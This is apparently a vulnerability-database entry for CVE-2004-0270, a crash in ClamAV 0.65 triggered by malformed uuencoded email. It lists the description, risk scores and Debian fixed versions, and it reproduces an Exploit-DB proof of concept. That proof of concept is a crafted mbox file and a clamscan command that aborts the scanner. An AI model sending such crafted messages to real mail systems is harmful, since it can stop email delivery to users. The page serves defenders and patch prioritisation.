CVE-2004-0270

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

libclamav in Clam AntiVirus 0.65 allows remote attackers to cause a denial of service (crash) via a uuencoded e-mail message with an invalid line length (e.g., a lowercase character), which causes an assert error in clamd that terminates the calling program.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-23667 dos linux verified text · 1 KB
Oliver Eikemeier · 2004-02-09

ClamAV Daemon 0.65 - UUEncoded Message Denial of Service

text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/9610/info

A problem in the handling of specially crafted UUEncoded messages has been identified in ClamAV. Because of this, an attacker may prevent the delivery of e-mail to users.

Save the following file to ~/clamtest.mbox:

From -

begin 644 byebye
byebye
end

Then do:

# clamscan --mbox -v ~/clamtest.mbox
assertion "(len >= 0) && (len <= 63)" failed: file "message.c", line 887
Abort (core dumped)

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 0.80
sid Fixed 0.80
forky Fixed 0.80
bullseye Fixed 0.80
bookworm Fixed 0.80

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.